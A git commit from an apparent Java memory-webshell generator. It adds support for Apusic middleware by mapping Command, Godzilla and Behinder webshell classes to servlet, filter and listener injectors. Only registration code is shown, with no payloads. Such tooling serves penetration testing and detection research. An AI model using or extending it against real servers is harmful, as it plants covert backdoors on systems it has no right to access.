feat: support apusic shell generate (#10)

This commit is contained in:
ReaJason
2024-12-27 20:39:09 +08:00
parent c205e69563
commit 87147d738a
9 changed files with 908 additions and 7 deletions
-6
View File
@@ -16,12 +16,6 @@ test {
finalizedBy jacocoTestReport
}
idea {
module {
excludeDirs -= file('build')
}
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
@@ -0,0 +1,52 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class ApusicShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
SERVLET, Pair.of(CommandServlet.class, ApusicServletInjector.class),
FILTER, Pair.of(CommandFilter.class, ApusicFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, ApusicListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
SERVLET, Pair.of(GodzillaServlet.class, ApusicServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, ApusicFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, ApusicListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, ApusicServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, ApusicFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class)
);
}
}
@@ -79,7 +79,7 @@ public enum Server {
/**
* 金蝶天燕中间件
*/
Apusic(null),
Apusic(new ApusicShell()),
/**
* 中创中间件